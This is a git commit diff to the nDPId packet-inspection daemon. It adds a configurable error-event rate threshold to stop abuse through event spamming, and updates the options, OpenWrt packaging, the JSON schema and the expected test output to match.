diff options
| author | Toni Uhlig <matzeton@googlemail.com> | 2022-10-16 23:02:52 +0200 |
|---|---|---|
| committer | Toni Uhlig <matzeton@googlemail.com> | 2022-10-17 06:36:30 +0200 |
| commit | 49352698a031d5816d04b802ad8e0386a8a73e30 (patch) | |
| tree | 2e6bdaa874d7ffb084cc8b44530b72967e8bd08b | |
| parent | 6292102f93086d2d61de874640f0b87c89c02b44 (diff) | |
nDPId: Added error event threshold to prevent event spamming which may be abused.
Signed-off-by: Toni Uhlig <matzeton@googlemail.com>
71 files changed, 1369 insertions, 29332 deletions
@@ -22,6 +22,8 @@ #define nDPId_MAX_FLOWS_PER_THREAD 4096u #define nDPId_MAX_IDLE_FLOWS_PER_THREAD (nDPId_MAX_FLOWS_PER_THREAD / 32u) #define nDPId_MAX_READER_THREADS 32u +#define nDPId_ERROR_EVENT_THRESHOLD_N 16u +#define nDPId_ERROR_EVENT_THRESHOLD_TIME TIME_S_TO_US(10u) /* 10 sec */ #define nDPId_DAEMON_STATUS_INTERVAL TIME_S_TO_US(600u) /* 600 sec */ #define nDPId_MEMORY_PROFILING_LOG_INTERVAL TIME_S_TO_US(5u) /* 5 sec */ #define nDPId_COMPRESSION_SCAN_INTERVAL TIME_S_TO_US(20u) /* 20 sec */ diff --git a/examples/py-flow-info/flow-info.py b/examples/py-flow-info/flow-info.py index 0fba6fcaa..1d3226553 100755 --- a/examples/py-flow-info/flow-info.py +++ b/examples/py-flow-info/flow-info.py @@ -294,9 +294,9 @@ def onJsonLineRecvd(json_dict, instance, current_flow, global_user_data): stats.printStatus() return True if 'error_event_id' in json_dict: - print('{}{}{} {}: {}'.format(timestamp, basic_daemon_event_prefix, instance_and_source, + print('{}{}{} {}: {} [{}/{}]'.format(timestamp, basic_daemon_event_prefix, instance_and_source, prettifyEvent([TermColor.FAIL, TermColor.BLINK], 15, 'ERROR-EVENT'), - json_dict['error_event_name'])) + json_dict['error_event_name'], json_dict['threshold_n'], json_dict['threshold_n_max'])) stats.printStatus() return True elif 'flow_event_id' not in json_dict: @@ -251,10 +251,7 @@ struct nDPId_workflow MT_VALUE(error_or_eof, uint8_t); uint8_t is_pcap_file; - uint8_t max_flow_to_track_reached : 1; - uint8_t flow_allocation_already_failed : 1; - - uint8_t reserved_00; + uint16_t error_count; unsigned long long int packets_captured; unsigned long long int packets_processed; @@ -282,6 +279,7 @@ struct nDPId_workflow uint64_t last_status_time; uint64_t last_global_time; uint64_t last_thread_time; + uint64_t last_error_time; void ** ndpi_flows_active; unsigned long long int max_active_flows; @@ -484,6 +482,8 @@ static struct unsigned long long int max_packets_per_flow_to_send; unsigned long long int max_packets_per_flow_to_process; unsigned long long int max_packets_per_flow_to_analyse; + unsigned long long int error_event_threshold_n; + unsigned long long int error_event_threshold_time; } nDPId_options = {.pidfile = nDPId_PIDFILE, .user = "nobody", .collector_address = COLLECTOR_UNIX_SOCKET, @@ -506,7 +506,9 @@ static struct .tcp_max_post_end_flow_time = nDPId_TCP_POST_END_FLOW_TIME, .max_packets_per_flow_to_send = nDPId_PACKETS_PER_FLOW_TO_SEND, .max_packets_per_flow_to_process = nDPId_PACKETS_PER_FLOW_TO_PROCESS, - .max_packets_per_flow_to_analyse = nDPId_PACKETS_PER_FLOW_TO_ANALYZE}; + .max_packets_per_flow_to_analyse = nDPId_PACKETS_PER_FLOW_TO_ANALYZE, + .error_event_threshold_n = nDPId_ERROR_EVENT_THRESHOLD_N, + .error_event_threshold_time = nDPId_ERROR_EVENT_THRESHOLD_TIME}; enum nDPId_subopts { @@ -530,6 +532,8 @@ enum nDPId_subopts MAX_PACKETS_PER_FLOW_TO_SEND, MAX_PACKETS_PER_FLOW_TO_PROCESS, MAX_PACKETS_PER_FLOW_TO_ANALYZE, + ERROR_EVENT_THRESHOLD_N, + ERROR_EVENT_THRESHOLD_TIME, }; static char * const subopt_token[] = {[MAX_FLOWS_PER_THREAD] = "max-flows-per-thread", [MAX_IDLE_FLOWS_PER_THREAD] = "max-idle-flows-per-thread", @@ -551,6 +555,8 @@ static char * const subopt_token[] = {[MAX_FLOWS_PER_THREAD] = "max-flows-per-th [MAX_PACKETS_PER_FLOW_TO_SEND] = "max-packets-per-flow-to-send", [MAX_PACKETS_PER_FLOW_TO_PROCESS] = "max-packets-per-flow-to-process", [MAX_PACKETS_PER_FLOW_TO_ANALYZE] = "max-packets-per-flow-to-analyse", + [ERROR_EVENT_THRESHOLD_N] = "error-event-threshold-n", + [ERROR_EVENT_THRESHOLD_TIME] = "error-event-threshold-time", NULL}; static void sighandler(int signum); @@ -1657,6 +1663,23 @@ static int is_flow_update_required(struct nDPId_workflow const * const workflow, return flow_ext->last_flow_update + itime <= workflow->last_thread_time; } +static int is_error_event_threshold(struct nDPId_workflow * const workflow) +{ + if (workflow->last_global_time - workflow->last_error_time > nDPId_options.error_event_threshold_time) + { + workflow->error_count = 0; + } + + workflow->last_error_time = workflow->last_global_time; + if (workflow->error_count >= nDPId_options.error_event_threshold_n) + { + return 1; + } + + workflow->error_count++; + return 0; +} + static void ndpi_idle_scan_walker(void const * const A, ndpi_VISIT which, int depth, void * const user_data) { struct nDPId_workflow * const workflow = (struct nDPId_workflow *)user_data; @@ -2902,6 +2925,16 @@ __attribute__((format(printf, 3, 4))) static void jsonize_error_eventf(struct nD ndpi_serialize_string_int32(&reader_thread->workflow->ndpi_serializer, "datalink", pcap_datalink(reader_thread->workflow->pcap_handle)); + ndpi_serialize_string_uint32(&reader_thread->workflow->ndpi_serializer, "threshold_n", workflow->error_count); + ndpi_serialize_string_uint32(&reader_thread->workflow->ndpi_serializer, + "threshold_n_max", + nDPId_options.error_event_threshold_n); + ndpi_serialize_string_uint64(&reader_thread->workflow->ndpi_serializer, + "threshold_time", + nDPId_options.error_event_threshold_time); + ndpi_serialize_string_uint64(&reader_thread->workflow->ndpi_serializer, + "threshold_ts_usec", + workflow->last_error_time); switch (event) { @@ -3040,12 +3073,15 @@ static int process_datalink_layer(struct nDPId_reader_thread * const reader_thre } else { - jsonize_error_eventf(reader_thread, - UNKNOWN_DATALINK_LAYER, - "%s%u", - "layer_type", - ntohl(*((uint32_t *)&packet[eth_offset]))); - jsonize_packet_event(reader_thread, header, packet, 0, 0, 0, 0, NULL, PACKET_EVENT_PAYLOAD); + if (is_error_event_threshold(reader_thread->workflow) == 0) + { + jsonize_error_eventf(reader_thread, + UNKNOWN_DATALINK_LAYER, + "%s%u", + "layer_type", + ntohl(*((uint32_t *)&packet[eth_offset]))); + jsonize_packet_event(reader_thread, header, packet, 0, 0, 0, 0, NULL, PACKET_EVENT_PAYLOAD); + } return 1; } *ip_offset = sizeof(dlt_hdr) + eth_offset; @@ -3055,14 +3091,17 @@ static int process_datalink_layer(struct nDPId_reader_thread * const reader_thre { if (header->caplen < sizeof(struct ndpi_chdlc)) { - jsonize_error_eventf(reader_thread, - PACKET_TOO_SHORT, - "%s%u %s%zu", - "size", - header->caplen, - "expected", - sizeof(struct ndpi_chdlc)); - jsonize_packet_event(reader_thread, header, packet, 0, 0, 0, 0, NULL, PACKET_EVENT_PAYLOAD); + if (is_error_event_threshold(reader_thread->workflow) == 0) + { + jsonize_error_eventf(reader_thread, + PACKET_TOO_SHORT, + "%s%u %s%zu", + "size", + header->caplen, + "expected", + sizeof(struct ndpi_chdlc)); + jsonize_packet_event(reader_thread, header, packet, 0, 0, 0, 0, NULL, PACKET_EVENT_PAYLOAD); + } return 1; } @@ -3075,14 +3114,17 @@ static int process_datalink_layer(struct nDPId_reader_thread * const reader_thre case DLT_PPP: if (header->caplen < sizeof(struct ndpi_chdlc)) { - jsonize_error_eventf(reader_thread, - PACKET_TOO_SHORT, - "%s%u %s%zu", - "size", - header->caplen, - "expected", - sizeof(struct ndpi_chdlc)); - jsonize_packet_event(reader_thread, header, packet, 0, 0, 0, 0, NULL, PACKET_EVENT_PAYLOAD); + if (is_error_event_threshold(reader_thread->workflow) == 0) + { + jsonize_error_eventf(reader_thread, + PACKET_TOO_SHORT, + "%s%u %s%zu", + "size", + header->caplen, + "expected", + sizeof(struct ndpi_chdlc)); + jsonize_packet_event(reader_thread, header, packet, 0, 0, 0, 0, NULL, PACKET_EVENT_PAYLOAD); + } return 1; } @@ -3101,9 +3143,12 @@ static int process_datalink_layer(struct nDPId_reader_thread * const reader_thre case DLT_LINUX_SLL: if (header->caplen < 16) { - jsonize_error_eventf( - reader_thread, PACKET_TOO_SHORT, "%s%u %s%u", "size", header->caplen, "expected", 16); - jsonize_packet_event(reader_thread, header, packet, 0, 0, 0, 0, NULL, PACKET_EVENT_PAYLOAD); + if (is_error_event_threshold(reader_thread->workflow) == 0) + { + jsonize_error_eventf( + reader_thread, PACKET_TOO_SHORT, "%s%u %s%u", "size", header->caplen, "expected", 16); + jsonize_packet_event(reader_thread, header, packet, 0, 0, 0, 0, NULL, PACKET_EVENT_PAYLOAD); + } return 1; } @@ -3114,14 +3159,17 @@ static int process_datalink_layer(struct nDPId_reader_thread * const reader_thre { if (header->caplen < sizeof(struct ndpi_radiotap_header)) { - jsonize_error_eventf(reader_thread, - PACKET_TOO_SHORT, - "%s%u %s%zu", - "size", - header->caplen, - "expected", - sizeof(struct ndpi_radiotap_header)); - jsonize_packet_event(reader_thread, header, packet, 0, 0, 0, 0, NULL, PACKET_EVENT_PAYLOAD); + if (is_error_event_threshold(reader_thread->workflow) == 0) + { + jsonize_error_eventf(reader_thread, + PACKET_TOO_SHORT, + "%s%u %s%zu", + "size", + header->caplen, + "expected", + sizeof(struct ndpi_radiotap_header)); + jsonize_packet_event(reader_thread, header, packet, 0, 0, 0, 0, NULL, PACKET_EVENT_PAYLOAD); + } return 1; } @@ -3132,21 +3180,27 @@ static int process_datalink_layer(struct nDPId_reader_thread * const reader_thre /* Check Bad FCS presence */ if ((radiotap->flags & BAD_FCS) == BAD_FCS) { - jsonize_error_eventf(reader_thread, PACKET_HEADER_INVALID, "%s%s", "reason", "Bad FCS presence"); - jsonize_packet_event(reader_thread, header, packet, 0, 0, 0, 0, NULL, PACKET_EVENT_PAYLOAD); + if (is_error_event_threshold(reader_thread->workflow) == 0) + { + jsonize_error_eventf(reader_thread, PACKET_HEADER_INVALID, "%s%s", "reason", "Bad FCS presence"); + jsonize_packet_event(reader_thread, header, packet, 0, 0, 0, 0, NULL, PACKET_EVENT_PAYLOAD); + } return 1; } if (header->caplen < (eth_offset + radio_len + sizeof(struct ndpi_wifi_header))) { - jsonize_error_eventf(reader_thread, - PACKET_TOO_SHORT, - "%s%u %s%zu", - "size", - header->caplen, - "expected", - (eth_offset + radio_len + sizeof(struct ndpi_wifi_header))); - jsonize_packet_event(reader_thread, header, packet, 0, 0, 0, 0, NULL, PACKET_EVENT_PAYLOAD); + if (is_error_event_threshold(reader_thread->workflow) == 0) + { + jsonize_error_eventf(reader_thread, + PACKET_TOO_SHORT, + "%s%u %s%zu", + "size", + header->caplen, + "expected", + (eth_offset + radio_len + sizeof(struct ndpi_wifi_header))); + jsonize_packet_event(reader_thread, header, packet, 0, 0, 0, 0, NULL, PACKET_EVENT_PAYLOAD); + } return 1; } @@ -3208,14 +3262,17 @@ static int process_datalink_layer(struct nDPId_reader_thread * const reader_thre case DLT_EN10MB: if (header->caplen < sizeof(struct ndpi_ethhdr)) { - jsonize_error_eventf(reader_thread, - PACKET_TOO_SHORT, - "%s%u %s%zu", - "size", - header->caplen, - "expected", - sizeof(struct ndpi_ethhdr)); - jsonize_packet_event(reader_thread, header, packet, 0, 0, 0, 0, NULL, PACKET_EVENT_PAYLOAD); + if (is_error_event_threshold(reader_thread->workflow) == 0) + { + jsonize_error_eventf(reader_thread, + PACKET_TOO_SHORT, + "%s%u %s%zu", + "size", + header->caplen, + "expected", + sizeof(struct ndpi_ethhdr)); + jsonize_packet_event(reader_thread, header, packet, 0, 0, 0, 0, NULL, PACKET_EVENT_PAYLOAD); + } return 1; } @@ -3228,15 +3285,18 @@ static int process_datalink_layer(struct nDPId_reader_thread * const reader_thre { if (header->caplen < sizeof(struct ndpi_ethhdr) + 20 /* sizeof(Ethernet/DCE-header) */) { - jsonize_error_eventf(reader_thread, - PACKET_TOO_SHORT, - "%s%u %s%zu", - "size", - header->caplen, - "expected", - sizeof(struct ndpi_ethhdr) + 2); - jsonize_packet_event( - reader_thread, header, packet, *layer3_type, *ip_offset, 0, 0, NULL, PACKET_EVENT_PAYLOAD); + if (is_error_event_threshold(reader_thread->workflow) == 0) + { + jsonize_error_eventf(reader_thread, + PACKET_TOO_SHORT, + "%s%u %s%zu", + "size", + header->caplen, + "expected", + sizeof(struct ndpi_ethhdr) + 2); + jsonize_packet_event( + reader_thread, header, packet, *layer3_type, *ip_offset, 0, 0, NULL, PACKET_EVENT_PAYLOAD); + } return 1; } ethernet = (struct ndpi_ethhdr *)&packet[eth_offset + 20]; @@ -3249,15 +3309,18 @@ static int process_datalink_layer(struct nDPId_reader_thread * const reader_thre { if (header->caplen < sizeof(struct ndpi_ethhdr) + 4 /* sizeof(802.1Q-header) */) { - jsonize_error_eventf(reader_thread, - PACKET_TOO_SHORT, - "%s%u %s%zu", - "size", - header->caplen, - "expected", - sizeof(struct ndpi_ethhdr) + 4); - jsonize_packet_event( - reader_thread, header, packet, *layer3_type, *ip_offset, 0, 0, NULL, PACKET_EVENT_PAYLOAD); + if (is_error_event_threshold(reader_thread->workflow) == 0) + { + jsonize_error_eventf(reader_thread, + PACKET_TOO_SHORT, + "%s%u %s%zu", + "size", + header->caplen, + "expected", + sizeof(struct ndpi_ethhdr) + 4); + jsonize_packet_event( + reader_thread, header, packet, *layer3_type, *ip_offset, 0, 0, NULL, PACKET_EVENT_PAYLOAD); + } return 1; } *layer3_type = ntohs(*(uint16_t *)&packet[*ip_offset + 2]); @@ -3269,30 +3332,50 @@ static int process_datalink_layer(struct nDPId_reader_thread * const reader_thre case ETH_P_IP: /* IPv4 */ if (header->caplen < sizeof(struct ndpi_ethhdr) + sizeof(struct ndpi_iphdr)) { - jsonize_error_eventf(reader_thread, - IP4_PACKET_TOO_SHORT, - "%s%u %s%zu", - "size", - header->caplen, - "expected", - sizeof(struct ndpi_ethhdr) + sizeof(struct ndpi_iphdr)); - jsonize_packet_event( - reader_thread, header, packet, *layer3_type, *ip_offset, 0, 0, NULL, PACKET_EVENT_PAYLOAD); + if (is_error_event_threshold(reader_thread->workflow) == 0) + { + jsonize_error_eventf(reader_thread, + IP4_PACKET_TOO_SHORT, + "%s%u %s%zu", + "size", + header->caplen, + "expected", + sizeof(struct ndpi_ethhdr) + sizeof(struct ndpi_iphdr)); + jsonize_packet_event(reader_thread, + header, + packet, + *layer3_type, + *ip_offset, + 0, + 0, + NULL, + PACKET_EVENT_PAYLOAD); + } return 1; } break; case ETH_P_IPV6: /* IPV6 */ if (header->caplen < sizeof(struct ndpi_ethhdr) + sizeof(struct ndpi_ipv6hdr)) { - jsonize_error_eventf(reader_thread, - IP6_PACKET_TOO_SHORT, - "%s%u %s%zu", - "size", - header->caplen, - "expected", - sizeof(struct ndpi_ethhdr) + sizeof(struct ndpi_ipv6hdr)); - jsonize_packet_event( - reader_thread, header, packet, *layer3_type, *ip_offset, 0, 0, NULL, PACKET_EVENT_PAYLOAD); + if (is_error_event_threshold(reader_thread->workflow) == 0) + { + jsonize_error_eventf(reader_thread, + IP6_PACKET_TOO_SHORT, + "%s%u %s%zu", + "size", + header->caplen, + "expected", + sizeof(struct ndpi_ethhdr) + sizeof(struct ndpi_ipv6hdr)); + jsonize_packet_event(reader_thread, + header, + packet, + *layer3_type, + *ip_offset, + 0, + 0, + NULL, + PACKET_EVENT_PAYLOAD); + } return 1; } break; @@ -3301,9 +3384,12 @@ static int process_datalink_layer(struct nDPId_reader_thread * const reader_thre case ETH_P_ARP: /* ARP */ return 1; default: - jsonize_error_eventf(reader_thread, PACKET_TYPE_UNKNOWN, "%s%u", "layer_type", *layer3_type); - jsonize_packet_event( - reader_thread, header, packet, *layer3_type, *ip_offset, 0, 0, NULL, PACKET_EVENT_PAYLOAD); + if (is_error_event_threshold(reader_thread->workflow) == 0) + { + jsonize_error_eventf(reader_thread, PACKET_TYPE_UNKNOWN, "%s%u", "layer_type", *layer3_type); + jsonize_packet_event( + reader_thread, header, packet, *layer3_type, *ip_offset, 0, 0, NULL, PACKET_EVENT_PAYLOAD); + } return 1; } break; @@ -3321,9 +3407,15 @@ static int process_datalink_layer(struct nDPId_reader_thread * const reader_thre case DLT_DSA_TAG_EDSA: return 1; default: - jsonize_error_eventf( - reader_thread, UNKNOWN_DATALINK_LAYER, "%s%u", "layer_type", ntohl(*((uint32_t *)&packet[eth_offset]))); - jsonize_packet_event(reader_thread, header, packet, 0, 0, 0, 0, NULL, PACKET_EVENT_PAYLOAD); + if (is_error_event_threshold(reader_thread->workflow) == 0) + { + jsonize_error_eventf(reader_thread, + UNKNOWN_DATALINK_LAYER, + "%s%u", + "layer_type", + ntohl(*((uint32_t *)&packet[eth_offset]))); + jsonize_packet_event(reader_thread, header, packet, 0, 0, 0, 0, NULL, PACKET_EVENT_PAYLOAD); + } return 1; } @@ -3479,7 +3571,7 @@ static void ndpi_process_packet(uint8_t * const args, } else { - if (distribute_single_packet(reader_thread) != 0) + if (distribute_single_packet(reader_thread) != 0 && is_error_event_threshold(reader_thread->workflow) == 0) { jsonize_error_eventf(reader_thread, UNKNOWN_L3_PROTOCOL, "%s%u", "protocol", type); jsonize_packet_event(reader_thread, header, packet, type, ip_offset, 0, 0, NULL, PACKET_EVENT_PAYLOAD); @@ -3492,7 +3584,7 @@ static void ndpi_process_packet(uint8_t * const args, { if (header->caplen < header->len) { - if (distribute_single_packet(reader_thread) != 0) + if (distribute_single_packet(reader_thread) != 0 && is_error_event_threshold(reader_thread->workflow) == 0) { jsonize_error_eventf(reader_thread, CAPTURE_SIZE_SMALLER_THAN_PACKET_SIZE, @@ -3511,7 +3603,7 @@ static void ndpi_process_packet(uint8_t * const args, { if (ip_size < sizeof(*ip)) { - if (distribute_single_packet(reader_thread) != 0) + if (distribute_single_packet(reader_thread) != 0 && is_error_event_threshold(reader_thread->workflow) == 0) { jsonize_error_eventf(reader_thread, IP4_SIZE_SMALLER_THAN_HEADER, @@ -3530,7 +3622,7 @@ static void ndpi_process_packet(uint8_t * const args, if (ndpi_detection_get_l4( (uint8_t *)ip, ip_size, &l4_ptr, &l4_len, &flow_basic.l4_protocol, NDPI_DETECTION_ONLY_IPV4) != 0) { - if (distribute_single_packet(reader_thread) != 0) + if (distribute_single_packet(reader_thread) != 0 && is_error_event_threshold(reader_thread->workflow) == 0) { jsonize_error_eventf( reader_thread, IP4_L4_PAYLOAD_DETECTION_FAILED, "%s%zu", "l4_data_len", ip_size - sizeof(*ip)); @@ -3548,7 +3640,7 @@ static void ndpi_process_packet(uint8_t * const args, { if (ip_size < sizeof(ip6->ip6_hdr)) { - if (distribute_single_packet(reader_thread) != 0) + if (distribute_single_packet(reader_thread) != 0 && is_error_event_threshold(reader_thread->workflow) == 0) { jsonize_error_eventf(reader_thread, IP6_SIZE_SMALLER_THAN_HEADER, @@ -3566,7 +3658,7 @@ static void ndpi_process_packet(uint8_t * const args, if (ndpi_detection_get_l4( (uint8_t *)ip6, ip_size, &l4_ptr, &l4_len, &flow_basic.l4_protocol, NDPI_DETECTION_ONLY_IPV6) != 0) { - if (distribute_single_packet(reader_thread) != 0) + if (distribute_single_packet(reader_thread) != 0 && is_error_event_threshold(reader_thread->workflow) == 0) { jsonize_error_eventf( reader_thread, IP6_L4_PAYLOAD_DETECTION_FAILED, "%s%zu", "l4_data_len", ip_size - sizeof(*ip)); @@ -3596,7 +3688,7 @@ static void ndpi_process_packet(uint8_t * const args, } else { - if (distribute_single_packet(reader_thread) != 0) + if (distribute_single_packet(reader_thread) != 0 && is_error_event_threshold(reader_thread->workflow) == 0) { jsonize_error_eventf(reader_thread, UNKNOWN_L3_PROTOCOL, "%s%u", "protocol", type); jsonize_packet_event(reader_thread, header, packet, type, ip_offset, 0, 0, NULL, PACKET_EVENT_PAYLOAD); @@ -3609,7 +3701,7 @@ static void ndpi_process_packet(uint8_t * const args, { if (header->caplen < (l4_ptr - packet) + sizeof(struct ndpi_tcphdr)) { - if (distribute_single_packet(reader_thread) != 0) + if (distribute_single_packet(reader_thread) != 0 && is_error_event_threshold(reader_thread->workflow) == 0) { jsonize_error_eventf(reader_thread, TCP_PACKET_TOO_SHORT, @@ -3643,7 +3735,7 @@ static void ndpi_process_packet(uint8_t * const args, if (header->caplen < (l4_ptr - packet) + sizeof(struct ndpi_udphdr)) { - if (distribute_single_packet(reader_thread) != 0) + if (distribute_single_packet(reader_thread) != 0 && is_error_event_threshold(reader_thread->workflow) == 0) { jsonize_error_eventf(reader_thread, UDP_PACKET_TOO_SHORT, @@ -3775,7 +3867,8 @@ static void ndpi_process_packet(uint8_t * const args, { if (is_ip_in_subnet(&flow_basic.src, netmask, subnet, flow_basic.l3_type) == 0) { - if (add_new_flow(workflow, &flow_basic, FS_SKIPPED, hashed_index) == NULL) + if (add_new_flow(workflow, &flow_basic, FS_SKIPPED, hashed_index) == NULL && + is_error_event_threshold(reader_thread->workflow) == 0) { jsonize_error_eventf(reader_thread, FLOW_MEMORY_ALLOCATION_FAILED, @@ -3799,7 +3892,8 @@ static void ndpi_process_packet(uint8_t * const args, { if (is_ip_in_subnet(&flow_basic.src, netmask, subnet, flow_basic.l3_type) != 0) { - if (add_new_flow(workflow, &flow_basic, FS_SKIPPED, hashed_index) == NULL) + if (add_new_flow(workflow, &flow_basic, FS_SKIPPED, hashed_index) == NULL && + is_error_event_threshold(reader_thread->workflow) == 0) { jsonize_error_eventf(reader_thread, FLOW_MEMORY_ALLOCATION_FAILED, @@ -3822,10 +3916,8 @@ static void ndpi_process_packet(uint8_t * const args, if (workflow->cur_active_flows == workflow->max_active_flows) { - if (workflow->max_flow_to_track_reached == 0) + if (is_error_event_threshold(reader_thread->workflow) == 0) { - workflow->max_flow_to_track_reached = 1; - jsonize_error_eventf(reader_thread, MAX_FLOW_TO_TRACK, "%s%llu %s%llu %s%llu %s%llu", @@ -3849,15 +3941,12 @@ static void ndpi_process_packet(uint8_t * const args, } return; } - workflow->max_flow_to_track_reached = 0; flow_to_process = (struct nDPId_flow *)add_new_flow(workflow, &flow_basic, FS_INFO, hashed_index); if (flow_to_process == NULL) { - if (workflow->flow_allocation_already_failed == 0) + if (is_error_event_threshold(reader_thread->workflow) == 0) { - workflow->flow_allocation_already_failed = 1; - jsonize_error_eventf( reader_thread, FLOW_MEMORY_ALLOCATION_FAILED, "%s%zu", "size", sizeof(*flow_to_process)); jsonize_packet_event(reader_thread, @@ -3872,17 +3961,26 @@ static void ndpi_process_packet(uint8_t * const args, } return; } - workflow->flow_allocation_already_failed = 0; workflow->total_active_flows++; flow_to_process->flow_extended.flow_id = MT_GET_AND_ADD(global_flow_id, 1); if (alloc_detection_data(flow_to_process) != 0) { - jsonize_error_eventf( - reader_thread, FLOW_MEMORY_ALLOCATION_FAILED, "%s%zu", "size", sizeof(*flow_to_process)); - jsonize_packet_event( - reader_thread, header, packet, type, ip_offset, (l4_ptr - packet), l4_len, NULL, PACKET_EVENT_PAYLOAD); + if (is_error_event_threshold(reader_thread->workflow) == 0) + { + jsonize_error_eventf( + reader_thread, FLOW_MEMORY_ALLOCATION_FAILED, "%s%zu", "size", sizeof(*flow_to_process)); + jsonize_packet_event(reader_thread, + header, + packet, + type, + ip_offset, + (l4_ptr - packet), + l4_len, + NULL, + PACKET_EVENT_PAYLOAD); + } return; } @@ -4703,6 +4801,12 @@ static void print_subopt_usage(void) case MAX_PACKETS_PER_FLOW_TO_ANALYZE: fprintf(stderr, "%llu\n", nDPId_options.max_packets_per_flow_to_analyse); break; + case ERROR_EVENT_THRESHOLD_N: + fprintf(stderr, "%llu\n", nDPId_options.error_event_threshold_n); + break; + case ERROR_EVENT_THRESHOLD_TIME: + fprintf(stderr, "%llu\n", nDPId_options.error_event_threshold_time); + break; } } else @@ -4926,6 +5030,12 @@ static int nDPId_parse_options(int argc, char ** argv) case MAX_PACKETS_PER_FLOW_TO_ANALYZE: nDPId_options.max_packets_per_flow_to_analyse = value_llu; break; + case ERROR_EVENT_THRESHOLD_N: + nDPId_options.error_event_threshold_n = value_llu; + break; + case ERROR_EVENT_THRESHOLD_TIME: + nDPId_options.error_event_threshold_time = value_llu; + break; } } break; diff --git a/packages/openwrt/net/nDPId-testing/nDPId-testing.config b/packages/openwrt/net/nDPId-testing/nDPId-testing.config index 2a7879b42..2e1871d29 100644 --- a/packages/openwrt/net/nDPId-testing/nDPId-testing.config +++ b/packages/openwrt/net/nDPId-testing/nDPId-testing.config @@ -54,3 +54,5 @@ config nDPId #option 'max_packets_per_flow_to_send' 15 #option 'max_packets_per_flow_to_process' 32 #option 'max_packets_per_flow_to_analyse' 32 + #option 'error_event_threshold_n' 16 + #option 'error_event_threshold_time' 10000000 diff --git a/packages/openwrt/net/nDPId-testing/nDPId-testing.init b/packages/openwrt/net/nDPId-testing/nDPId-testing.init index ae0de1106..230b75d01 100644 --- a/packages/openwrt/net/nDPId-testing/nDPId-testing.init +++ b/packages/openwrt/net/nDPId-testing/nDPId-testing.init @@ -91,6 +91,8 @@ start_ndpid_instance() { args="$args$(print_arg_str "$cfg" 'max_packets_per_flow_to_send' '-omax-packets-per-flow-to-send=')" args="$args$(print_arg_str "$cfg" 'max_packets_per_flow_to_process' '-omax-packets-per-flow-to-process=')" args="$args$(print_arg_str "$cfg" 'max_packets_per_flow_to_analyse' '-omax-packets-per-flow-to-analyse=')" + args="$args$(print_arg_str "$cfg" 'error_event_threshold_n' '-oerror-event-threshold-n=')" + args="$args$(print_arg_str "$cfg" 'error_event_threshold_time' '-oerror-event-threshold-time=')" procd_open_instance procd_set_param command ${NDPID_BIN} @@ -133,7 +135,9 @@ validate_ndpid_section() { 'tcp_max_post_end_flow_time:uinteger' \ 'max_packets_per_flow_to_send:uinteger' \ 'max_packets_per_flow_to_process:uinteger' \ - 'max_packets_per_flow_to_analyse:uinteger' + 'max_packets_per_flow_to_analyse:uinteger' \ + 'error_event_threshold_n:uinteger' \ + 'error_event_threshold_time:uinteger' } start_ndpisrvd_instance() { diff --git a/schema/error_event_schema.json b/schema/error_event_schema.json index ebeb695fa..b81140eab 100644 --- a/schema/error_event_schema.json +++ b/schema/error_event_schema.json @@ -7,6 +7,10 @@ "error_event_id", "error_event_name", "datalink", + "threshold_n", + "threshold_n_max", + "threshold_time", + "threshold_ts_usec", "global_ts_usec" ], @@ -115,6 +119,25 @@ "maximum": 292 }, + "threshold_n": { + "type": "number", + "minimum": 1 + }, + + "threshold_n_max": { + "type": "number", + "minimum": 1, + "maximum": 65535 + }, + + "threshold_time": { + "type": "number" + }, + + "threshold_ts_usec": { + "type": "number" + }, + "layer_type": { "type": "number", "minimum": 0 diff --git a/test/results/4in4tunnel.pcap.out b/test/results/4in4tunnel.pcap.out index 8fe56bd2a..6eff19eb4 100644 --- a/test/results/4in4tunnel.pcap.out +++ b/test/results/4in4tunnel.pcap.out @@ -1,18 +1,18 @@ 00490{"daemon_event_id":1,"daemon_event_name":"init","thread_id":0,"packet_id":0,"source":"4in4tunnel.pcap","alias":"nDPId-test","max-flows-per-thread":2048,"max-idle-flows-per-thread":64,"reader-thread-count":1,"flow-scan-interval":10000000,"generic-max-idle-time":600000000,"icmp-max-idle-time":120000000,"udp-max-idle-time":180000000,"tcp-max-idle-time":3265032704,"max-packets-per-flow-to-send":3,"max-packets-per-flow-to-process":32,"max-packets-per-flow-to-analyse":32,"global_ts_usec":0} 00553{"daemon_event_id":4,"daemon_event_name":"status","thread_id":0,"packet_id":1,"source":"4in4tunnel.pcap","alias":"nDPId-test","packets-captured":1,"packets-processed":0,"total-skipped-flows":0,"total-l4-payload-len":0,"total-not-detected-flows":0,"total-guessed-flows":0,"total-detected-flows":0,"total-detection-updates":0,"total-updates":0,"current-active-flows":0,"total-active-flows":0,"total-idle-flows":0,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":2,"global_ts_usec":1537044271794779} -00190{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1,"source":"4in4tunnel.pcap","alias":"nDPId-test","layer_type":33024,"global_ts_usec":1537044271794779} +00290{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1537044271794779,"packet_id":1,"source":"4in4tunnel.pcap","alias":"nDPId-test","layer_type":33024,"global_ts_usec":1537044271794779} 00506{"packet_event_id":1,"packet_event_name":"packet","packet_id":1,"source":"4in4tunnel.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":170,"pkt_type":33024,"pkt_l3_offset":18,"pkt_l4_offset":0,"pkt_len":170,"pkt_l4_len":0,"thread_ts_usec":1537044271794779,"pkt":"AAAAAAAEpMZPO7OagQBmWIEAYfkIAEW4AJToWAAA\/wQRSEVDI5Ipyi5uRbgAgAABAAD+Ed6ECgpkGQoKZQLzn0JoAGxLmgACAAAEc2wQAAAAAAABAACrzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq80="} 